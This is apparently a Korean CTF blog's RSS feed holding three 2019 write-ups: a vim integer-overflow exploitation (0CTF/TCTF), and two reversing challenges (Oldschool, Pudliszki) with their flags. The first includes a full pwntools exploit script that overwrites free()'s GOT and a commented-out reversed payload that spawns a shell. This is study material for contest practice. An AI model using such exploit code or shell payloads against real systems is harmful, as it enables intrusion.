<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>FL4G{##st4rbuucks##}</title>
    <link>https://yongy0ng2.tistory.com/</link>
    <description></description>
    <language>ko</language>
    <pubDate>Mon, 13 Apr 2026 17:52:47 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>st4rbuucks</managingEditor>
    <image>
      <title>FL4G{##st4rbuucks##}</title>
      <url>https://tistory1.daumcdn.net/tistory/2948883/attach/fa5e5a70083344f1aded179907fbc3f2</url>
      <link>https://yongy0ng2.tistory.com</link>
    </image>
    <item>
      <title>[0CTF/TCTF 2019 Quals] If on a winters night a traveler writeup</title>
      <link>https://yongy0ng2.tistory.com/70</link>
      <description>&lt;p&gt;&lt;span&gt;The challenge is to exploit the patched vim. perm.diff implies that vim&amp;rsquo;s new encrypt/decrypt method is added in the patched version. In service.py, server seems to open a randomly named file with the vim and the content of the file can be filled with attacker&amp;rsquo;s input. Also we found out that if the file starts with the string &amp;lsquo;VimCrypt04~!&amp;rsquo;, vim expects the file as encrypted and decrypts it. Therefore we tried to find a weakness in the function &amp;lsquo;&lt;/span&gt;&lt;span&gt;&lt;code&gt;crypt_perm_decode()&lt;/code&gt;&lt;/span&gt;&lt;span&gt;&amp;rsquo;. At &amp;lsquo;Step 1: Inverse of Multiplication&amp;rsquo;, We found something.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;&lt;code&gt;ps-&amp;gt;cur_idx = (ps-&amp;gt;cur_idx+ps-&amp;gt;step)%ps-&amp;gt;size;&lt;/code&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;Because &lt;/span&gt;&lt;span&gt;&lt;code&gt;ps-&amp;gt;cur_idx&lt;/code&gt;&lt;/span&gt;&lt;span&gt; and &lt;/span&gt;&lt;span&gt;&lt;code&gt;ps-&amp;gt;step&lt;/code&gt;&lt;/span&gt;&lt;span&gt; are both int type, we could make an integer overflow. Also as we debug the vim when it performs the function, we found that &amp;lsquo;&lt;/span&gt;&lt;span&gt;ps&lt;/span&gt;&lt;span&gt;&amp;rsquo; chunk is little bit ahead of &amp;lsquo;&lt;/span&gt;&lt;span&gt;to&lt;/span&gt;&lt;span&gt;&amp;rsquo; chunk when the size of content in the file is 0x101 without the string &amp;lsquo;VimCrypt04~!&amp;rsquo;. We could make &lt;/span&gt;&lt;span&gt;&lt;code&gt;ps-&amp;gt;step&lt;/code&gt;&lt;/span&gt;&lt;span&gt; as &lt;/span&gt;&lt;span&gt;&lt;code&gt;0xffffffff&lt;/code&gt;&lt;/span&gt;&lt;span&gt; by assigning iv as &lt;/span&gt;&lt;span&gt;&lt;code&gt;0xffffff9e&lt;/code&gt;&lt;/span&gt;&lt;span&gt;. Eventually, &lt;/span&gt;&lt;span&gt;&lt;code&gt;ps-&amp;gt;cur_idx&lt;/code&gt;&lt;/span&gt;&lt;span&gt; got minus value so we could overwrite the buffer pointer of the &lt;/span&gt;&lt;span&gt;ps&lt;/span&gt;&lt;span&gt; chunk as the address of the function &lt;/span&gt;&lt;span&gt;&lt;code&gt;free()&lt;/code&gt;&lt;/span&gt;&lt;span&gt;&amp;rsquo;s got. At the end of the function, it calls the function &lt;/span&gt;&lt;span&gt;&lt;code&gt;vim_free()&lt;/code&gt;&lt;/span&gt;&lt;span&gt; and in this function, the function &lt;/span&gt;&lt;span&gt;&lt;code&gt;free() &lt;/code&gt;&lt;/span&gt;&lt;span&gt;is called with one argument and it would be the &lt;/span&gt;&lt;span&gt;buffer&lt;/span&gt;&lt;span&gt; pointer. We used a code gadget below.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d1kngF/btqtSyvG3nD/288v0s3uGG5ShEZV2pa1Xk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d1kngF/btqtSyvG3nD/288v0s3uGG5ShEZV2pa1Xk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d1kngF/btqtSyvG3nD/288v0s3uGG5ShEZV2pa1Xk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd1kngF%2FbtqtSyvG3nD%2F288v0s3uGG5ShEZV2pa1Xk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;Before calling &lt;/span&gt;&lt;span&gt;&lt;code&gt;vim_free()&lt;/code&gt;&lt;/span&gt;&lt;span&gt;, the argument passed through rax and rdi so we can make rax value at our will. To write values where the buffer pointer points, we should write them on the string &amp;lsquo;to&amp;rsquo; by the below code.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bb05Dd/btqtSzH7MT3/F6nIVhuF0tzhQo0zXwJKT1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bb05Dd/btqtSzH7MT3/F6nIVhuF0tzhQo0zXwJKT1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bb05Dd/btqtSzH7MT3/F6nIVhuF0tzhQo0zXwJKT1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbb05Dd%2FbtqtSzH7MT3%2FF6nIVhuF0tzhQo0zXwJKT1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span&gt;We&amp;rsquo;ve done this by overwrite &lt;/span&gt;&lt;span&gt;&lt;code&gt;ps-&amp;gt;cur_idx&lt;/code&gt;&lt;/span&gt;&lt;span&gt; after overwriting &lt;/span&gt;&lt;span&gt;&lt;code&gt;ps-&amp;gt;buffer&lt;/code&gt;&lt;/span&gt;&lt;span&gt; so that the variable now has a positive value. After adjusting some values in order to overwrite correct values in correct address, we could not see the flag. It seems that server give us not the all output but stderr. Therefore we made a trick to check the flag as stderr. The final exploit code and the result is below here.&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:py&quot; title=&quot;sol.py&quot;&gt;#!/usr/bin/python

from pwn import *
import sys,os
import random, string
from hashlib import sha256

s = remote(&quot;111.186.63.13&quot;,10001)

# proof_of_work
s.recvuntil(&quot;XXXX+&quot;)
sub = s.recvn(16) 
s.recvuntil('== ')
res = s.recvn(64)
s.recvuntil(&quot;:&quot;)

while(1):
	pro = ''.join([random.choice(string.ascii_letters+string.digits) for _ in xrange(4)])
	digest = sha256(pro+sub).hexdigest()
	if digest == res:
		print &quot;success&quot;
		print pro
		s.sendline(pro)
		print s.recvuntil('\n')
		break

s.sendline('269')

st = 'VimCrypt~04!'
iv = '\xff\xff\xff\x9e'
c_i = 'c\x01'

c  = '\x01' * 11
c += '\x00\x00\x01\x11'
c += '\x00' * 4
c += '\x00\x00\x00\x00\x00\x8a\x81\xfc'
c += '\xff\xff\xff\xff'
c_2 = c * 3

c_3  = '\x01' * 11
c_3 += '\x00\x00\x01\x11'
c_3 += '\x00' * 4
c_3 += '\x00\x00\x00\x00\x00\x8a\x82\x2a'
c_3 += '\x60'

c_4 = '\x00'* 109
c_4 += '\x00\x00\x00\x00\x00\x4c\x91\x5d'
c_4 += &quot;\x002&amp;&gt;1 galf ta&quot;
##c_4 += &quot;\x002&amp;&gt;1 - 'hs/nib/!:' c- miv/onivlac/emoh/ | 'a' ohc&quot;
# using this code will give you the shell!

s.send(st+iv+c_i+c_2+c_3+c_4)
s.interactive()
s.close()
&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kyPgN/btqtUBktzvT/btdKNJqsZfL373cb6viDZK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kyPgN/btqtUBktzvT/btdKNJqsZfL373cb6viDZK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kyPgN/btqtUBktzvT/btdKNJqsZfL373cb6viDZK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkyPgN%2FbtqtUBktzvT%2FbtdKNJqsZfL373cb6viDZK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>CTFs</category>
      <category>CTF</category>
      <category>Integer Overflow</category>
      <category>pwnable</category>
      <author>st4rbuucks</author>
      <guid isPermaLink="true">https://yongy0ng2.tistory.com/70</guid>
      <comments>https://yongy0ng2.tistory.com/70#entry70comment</comments>
      <pubDate>Wed, 27 Mar 2019 20:09:16 +0900</pubDate>
    </item>
    <item>
      <title>[CONFidence CTF 2019 Teaser] Oldschool writeup</title>
      <link>https://yongy0ng2.tistory.com/69</link>
      <description>&lt;h1&gt;문제&lt;/h1&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 666px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99DA2C445C910B0221&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99DA2C445C910B0221&quot; width=&quot;666&quot; height=&quot;271&quot; filename=&quot;캡처.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;hr&gt;&lt;h1&gt;분석&lt;br /&gt;&lt;/h1&gt;&lt;p&gt;두 개의 파일이 주어진다.&lt;/p&gt;&lt;p&gt;flag.txt는 문자가 이상하게 배열되어 있는 형태이고&lt;/p&gt;&lt;p&gt;oldschool.exe는 MS-DOS에서 구동하는 16-bit 프로그램이다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;flag.txt의 내용&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 161px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99475E4A5C910CB70E&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99475E4A5C910CB70E&quot; width=&quot;161&quot; height=&quot;163&quot; filename=&quot;캡처.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;oldschool.exe를 DOSBOX를 이용해서 실행해보았다.&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 213px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/995A36395C910E9518&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F995A36395C910E9518&quot; width=&quot;213&quot; height=&quot;180&quot; filename=&quot;캡처.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;총 18자리 16진수를 입력받고 희한한 그림을 그려준다...&lt;br /&gt;&lt;/p&gt;&lt;p&gt;저 그림은 입력에 따라 달라지는데,&lt;/p&gt;&lt;p&gt;아마 이 그림 출력결과가 flag.txt와 똑같이 만드는 것이 이번 challenge의 goal인 것으로 보인다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;oldschool.exe의 작동방식은, ida를 통해 분석할 수 있었다.&lt;/p&gt;&lt;p&gt;입력은 18자리 16진수를 넣는 것이고, 그림을 그리는 방식은 아래와 같다.&lt;/p&gt;&lt;blockquote class=&quot;tx-quote-tistory&quot;&gt;&lt;p&gt;1. 그림을 그리는 공간은 17행 9열, 초기에는 모든 칸에 0이 저장돼있다.&lt;/p&gt;&lt;p&gt;2. 그림을 그리기 시작하는 위치는 5번째 행 9번째 칸&lt;/p&gt;&lt;p&gt;3. 16진수 두자리를 1바이트 수로 보았을 때, 해당 1바이트에서 LSB부터 2비트씩 검사함&lt;/p&gt;&lt;p&gt;4. 2비트가&amp;nbsp;00이면 왼쪽 위로, 01이면 오른쪽 위로, 10이면 왼쪽 아래로, 11이면 오른쪽 아래로 이동함.&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;다만 1번째 줄에서는 위로 올라가지 않고 좌우 이동만 하고 마지막 줄에서도 마찬가지&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;가장 왼쪽에 있을때도 왼쪽으로는 더 이상 이동하지 않고 가장 오른쪽에 있을때도 마찬가지.&lt;/p&gt;&lt;p&gt;5. 위치가 이동되었으면 그 칸에 저장된 값을 +1&lt;/p&gt;&lt;p&gt;- 그렇게 되면 총 36회의 이동이 일어남&lt;/p&gt;&lt;p&gt;6. 각 칸의 수들이 문자로 바뀌는데 그 방식은 다음과 같음.&lt;/p&gt;&lt;p&gt;특정 칸에 적힌 수가 i라면, &lt;code&gt;'&amp;nbsp;p4{krule_ctf}'.index(i)&lt;/code&gt;에 해당하는 문자로 치환된다.&lt;/p&gt;&lt;p&gt;7. 만약&amp;nbsp;&lt;code&gt;len('&amp;nbsp;p4{krule_ctf}')&lt;/code&gt;보다 큰 값이 적힌 곳이 있다면 해당 칸은 '^'로 치환된다.&lt;/p&gt;&lt;p&gt;8. 그림그리기를 시작한 곳은 'S'로, 그림그리기가 끝난 곳은 'E'로 치환된다.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;이걸 어떻게 다 알아냈냐고?&lt;/p&gt;&lt;p&gt;그냥 찬찬히 ida로 어셈블리를 보면 된다.&lt;/p&gt;&lt;p&gt;그리고&amp;nbsp;&lt;code&gt;len('&amp;nbsp;p4{krule_ctf}')&lt;/code&gt;문자열은 oldschool.exe를 HxD에 넣어봤는데 우연히 찾아내었다.&lt;/p&gt;&lt;p&gt;그리고 수차례의 테스트를 통해 해당 알고리즘이 정확함을 확신했다.&lt;/p&gt;&lt;p&gt;이제 flag.txt와 똑같이 그림을 그려주기만 하면 된다!&lt;/p&gt;&lt;hr&gt;&lt;h1&gt;FL4G&lt;br /&gt;&lt;/h1&gt;&lt;p&gt;주어진 그림과 똑같은 출력을 내도록 하는 입력값은 경우의 수가 매우 많다.&lt;/p&gt;&lt;p&gt;하지만 주최 측에서 알려준&amp;nbsp;flag의 형식은 &lt;code&gt;p4{[0-9a-z]+}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;flag는 oldschool.exe의 입력으로 들어가는 16진수를 hex decode한 결과라는 것도 알아내었다.&lt;/p&gt;&lt;p&gt;그렇다면 입력의 시작은 무조건 '70347B'이고 입력의 끝은 '7D'&lt;/p&gt;&lt;p&gt;이제 나머지 10개의 16진수만 알아내면 되는데...&lt;/p&gt;&lt;p&gt;hex decode되어 [0-9a-z]가 되려면 가능한 가짓수가 확 줄어든다.&lt;/p&gt;&lt;p&gt;그리하여 여러 시행착오 끝에 결국은 flag형식도 맞으면서 주어진 그림을 그려내는 입력을 찾아낼 수 있었다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 220px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99313B495C911BB42E&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99313B495C911BB42E&quot; width=&quot;220&quot; height=&quot;178&quot; filename=&quot;캡처.PNG&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;&lt;span style=&quot;background-color: rgb(255, 178, 245);&quot;&gt;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;background-color: rgb(255, 178, 245);&quot;&gt;FLAG : p4{4qib6}&lt;/span&gt;&lt;span style=&quot;background-color: rgb(255, 178, 245);&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>CTFs</category>
      <category>8086</category>
      <category>CTF</category>
      <category>reverse</category>
      <author>st4rbuucks</author>
      <guid isPermaLink="true">https://yongy0ng2.tistory.com/69</guid>
      <comments>https://yongy0ng2.tistory.com/69#entry69comment</comments>
      <pubDate>Wed, 20 Mar 2019 01:42:29 +0900</pubDate>
    </item>
    <item>
      <title>[CONFidence CTF 2019 Teaser] Pudliszki writeup</title>
      <link>https://yongy0ng2.tistory.com/68</link>
      <description>&lt;h1&gt;문제&lt;/h1&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 580px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9963163B5C905ED432&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9963163B5C905ED432&quot; width=&quot;580&quot; height=&quot;229&quot; filename=&quot;캡처.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;hr&gt;&lt;h1&gt;분석&lt;/h1&gt;&lt;p&gt;java 파일처럼 보이는 소스코드 하나가&amp;nbsp;주어진다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;독특한 class 명이 보인다. '_', 'c', 'e', 'h', 'i', 'k', ... '{', '}'.&lt;/p&gt;&lt;p&gt;이것을 보고 아~ flag를 만드는데 쓰이는 것들이구나! 를 깨달았다.&lt;/p&gt;&lt;p&gt;해당 class는 모두 Letter class를 상속받고 있으며 내부에 유의미한 함수나 변수는 없었다.&lt;/p&gt;&lt;p&gt;그렇다면 p도 있고 {도 있고 }도 있지만 '4'를 포함한 숫자는 어떻게 하지?? 라는 의문이 생기는 순간,&lt;/p&gt;&lt;p&gt;'AnonymousClass0'부터 'AnonymousClass7'까지 5개의 클래스가 눈에 들어왔다.&lt;/p&gt;&lt;p&gt;물론 'AnonymousClass4'도 있었다.&lt;/p&gt;&lt;p&gt;그리고 이들도 Letter 클래스를 상속받고 있었다!&lt;/p&gt;&lt;p&gt;처음에는 클래스가 많아보여 당황했지만 이로써 절반의 클래스는 그냥 낱자를 표현하기 위해 존재한다는 것을 알아내었다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;main 함수는 FlagCheckerKt 클래스 내부에 존재한다.&lt;/p&gt;&lt;p&gt;argv로 값 하나를 전달받고 그 값을 validateFlag 함수로 전달한다.&lt;/p&gt;
&lt;pre class=&quot;brush:java&quot; title=&quot;validateFlag 함수의 내용&quot;&gt;public static final int validateFlag(@NotNull String flag) {
        Intrinsics.checkParameterIsNotNull(flag, &quot;flag&quot;);
        SizeResult check = SizeResultFactory.Companion.check(flag.length(), IllegalMonitorStateException.class);
        if (check instanceof Correct) {
            Map destination$iv$iv = new LinkedHashMap();
            for (Pair element$iv$iv : SequencesKt___SequencesKt.mapIndexed(SequencesKt___SequencesKt.filter(SequencesKt___SequencesKt.map(StringsKt___StringsKt.asSequence(flag), FlagCheckerKt$validateFlag$1.INSTANCE), FlagCheckerKt$validateFlag$2.INSTANCE), FlagCheckerKt$validateFlag$3.INSTANCE)) {
                List list$iv$iv;
                Character key$iv$iv = Character.valueOf(((Character) ((FlagChar) element$iv$iv.getFirst()).getC()).charValue());
                Map $receiver$iv$iv$iv = destination$iv$iv;
                List value$iv$iv$iv = $receiver$iv$iv$iv.get(key$iv$iv);
                if (value$iv$iv$iv == null) {
                    ArrayList answer$iv$iv$iv = new ArrayList();
                    $receiver$iv$iv$iv.put(key$iv$iv, answer$iv$iv$iv);
                    list$iv$iv = answer$iv$iv$iv;
                } else {
                    list$iv$iv = value$iv$iv$iv;
                }
                list$iv$iv.add(Integer.valueOf(((Number) element$iv$iv.getSecond()).intValue()));
            }
            return checksum(destination$iv$iv);
        } else if (check instanceof Incorrect) {
            System.out.print(&quot;Failed&quot;);
            System.exit(-1);
            throw new RuntimeException(&quot;System.exit returned normally, while it was supposed to halt JVM.&quot;);
        } else {
            throw new NoWhenBranchMatchedException();
        }
    }
&lt;/pre&gt;&lt;p&gt;매우 복잡해보이지만 사실 그렇지만은 않다.&lt;/p&gt;&lt;p&gt;destination은 LinkedHashMap 객체이다.&lt;/p&gt;&lt;p&gt;이 객체는 검색해보면 '순서를 유지하는 해시맵'이라 나온다.&lt;/p&gt;&lt;p&gt;아~ 해시테이블 같은거구나... 라고 이해했다.&lt;/p&gt;&lt;p&gt;앞으로 이 해시테이블을 키-value 테이블이라 하겠다.&lt;/p&gt;&lt;p&gt;그리고 SequenceKt.mapIndexed, filter, map, asSequence... 이런 함수들에 대한 구글링을 곁들여서 위 코드를 이해한 결과는 아래와 같다.&lt;/p&gt;&lt;p&gt;(나중에 알고 보니 이것은 java가 아닌 kotlin이라는 언어로 작성된 것이었다. kotlin은 JVM 위에서 동작하는 프로그래밍 언어이다.)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;blockquote class=&quot;tx-quote-tistory&quot;&gt;&lt;p&gt;0. flag의 길이는&amp;nbsp;IllegalMonitorStateException 클래스 이름의 길이와 같아야 한다. (즉, 28이다.)&lt;/p&gt;&lt;p&gt;1. flag에서 index0 부터 (글자를)&amp;nbsp;하나하나 받아온다.&lt;/p&gt;&lt;p&gt;2-1. destination 해시테이블에 해당 글자를 키로 하는 value가 없다면 그 글자를 키로 두고 value는 index 값으로 설정.&lt;/p&gt;&lt;p&gt;2-2. destination 해시테이블에 해당 글자를 키로 하는 value가 있다면 해당 value에다가&amp;nbsp;index 값도 연결함 (arrayList처럼)&lt;/p&gt;&lt;p&gt;3. checksum함수로 destination을 전달하여 유효성 검사&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:java&quot; title=&quot;checksum 함수의 내용&quot;&gt;public static final int checksum(@NotNull Map&lt;character, ?=&quot;&quot; extends=&quot;&quot; list&lt;integer=&quot;&quot;&gt;&amp;gt; grouped) {
        Intrinsics.checkParameterIsNotNull(grouped, &quot;grouped&quot;);
        try {
            Collection destination$iv$iv = new ArrayList(grouped.size());
            for (Entry item$iv$iv : grouped.entrySet()) {
                destination$iv$iv.add(new Pair(Class.forName(&quot;team.p4.pudliszki.&quot; + String.valueOf(((Character) item$iv$iv.getKey()).charValue())).newInstance(), Integer.valueOf(compress((List) item$iv$iv.getValue()))));
            }
            Iterable&lt;pair&gt; iterable = (List) destination$iv$iv;
            destination$iv$iv = new ArrayList(CollectionsKt__IterablesKt.collectionSizeOrDefault(iterable, 10));
            for (Pair pair : iterable) {
                int intValue;
                Object first = pair.getFirst();
                if (first instanceof p) {
                    intValue = ((Number) pair.getSecond()).intValue() - 27040;
                } else if (first instanceof AnonymousClass4) {
                    intValue = ((Number) pair.getSecond()).intValue() - 1;
                } else if (first instanceof {) {
                    intValue = ((Number) pair.getSecond()).intValue() - 2;
                } else if (first instanceof AnonymousClass0) {
                    intValue = ((Number) pair.getSecond()).intValue() - 452;
                } else if (first instanceof AnonymousClass1) {
                    intValue = ((Number) pair.getSecond()).intValue() - 327;
                } else if (first instanceof AnonymousClass5) {
                    intValue = ((Number) pair.getSecond()).intValue() - 17;
                } else if (first instanceof AnonymousClass7) {
                    intValue = ((Number) pair.getSecond()).intValue() - 22;
                } else if (first instanceof c) {
                    intValue = ((Number) pair.getSecond()).intValue() - 23;
                } else if (first instanceof e) {
                    intValue = ((Number) pair.getSecond()).intValue() - 21;
                } else if (first instanceof h) {
                    intValue = ((Number) pair.getSecond()).intValue() - 786;
                } else if (first instanceof i) {
                    intValue = ((Number) pair.getSecond()).intValue() - 16;
                } else if (first instanceof k) {
                    intValue = ((Number) pair.getSecond()).intValue() - 643;
                } else if (first instanceof l) {
                    intValue = ((Number) pair.getSecond()).intValue() - 486;
                } else if (first instanceof n) {
                    intValue = ((Number) pair.getSecond()).intValue() - 8;
                } else if (first instanceof s) {
                    intValue = ((Number) pair.getSecond()).intValue() - 11;
                } else if (first instanceof t) {
                    intValue = ((Number) pair.getSecond()).intValue() - 5;
                } else if (first instanceof u) {
                    intValue = ((Number) pair.getSecond()).intValue() - 25;
                } else if (first instanceof _) {
                    intValue = ((Number) pair.getSecond()).intValue() - 19849;
                } else if (first instanceof }) {
                    intValue = ((Number) pair.getSecond()).intValue() - 27;
                } else {
                    intValue = -1337;
                }
                destination$iv$iv.add(Integer.valueOf(intValue));
            }
            return CollectionsKt___CollectionsKt.sumOfInt((List) destination$iv$iv);
        } catch (ClassNotFoundException e) {
            System.out.print(&quot;Failed&quot;);
            System.exit(-1);
            throw new RuntimeException(&quot;System.exit returned normally, while it was supposed to halt JVM.&quot;);
        }
    }
&lt;/pair&gt;&lt;/character,&gt;&lt;/pre&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;checksum 함수는 올바른 flag에 의해 destination 해시테이블이 형성되었을 때만 0을 반환하게 되어있고 구체적으로&amp;nbsp;아래와 같은 동작을 수행한다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;blockquote class=&quot;tx-quote-tistory&quot;&gt;&lt;p&gt;1. hash table의 value들이 모두 연결리스트 형식인데 이를 compress함수에 넣어 특정 값을 얻어냄&lt;br /&gt;&lt;/p&gt;&lt;p&gt;2. 키는 destination 해시테이블 것이 유지되는데 1에서 얻어낸 값을 value로 하는 두번째 hash table을 생성함&lt;/p&gt;&lt;p&gt;3. 2에서 생성한 hash table에서 키가 'p'일때 value는 27040, 키가 '4'일때 value는 1, 키가 '{'일때 value는 2... 이런식으로 주어진 조건을 만족해야지만이 0을 return 함&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;솔직히 위 과정에서 compress 함수 때문에 약간 애를 먹었다.&lt;/p&gt;&lt;p&gt;예를들어 키가 '0'일때 value는 452여야 하는데 이는 누가봐도 index 2개가 compress된 형태였다.&lt;/p&gt;&lt;p&gt;이 compress 함수에 대해 구글링을 열~~심히 해봤지만 번번히 실패하고...&lt;/p&gt;&lt;p&gt;그러던 찰나에 주어진 파일에 compress 함수가 떡하니 존재하는게 보였다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:java&quot; title=&quot;compress 함수의 내용&quot;&gt;public static final int compress(@NotNull List&lt;integer&gt; value) {
        Intrinsics.checkParameterIsNotNull(value, &quot;value&quot;);
        return SequencesKt___SequencesKt.sumOfInt(SequencesKt___SequencesKt.map(CollectionsKt___CollectionsKt.asSequence(value), new FlagCheckerKt$compress$1(new Multiplier(0, 1, null))));
    }
&lt;/integer&gt;&lt;/pre&gt;
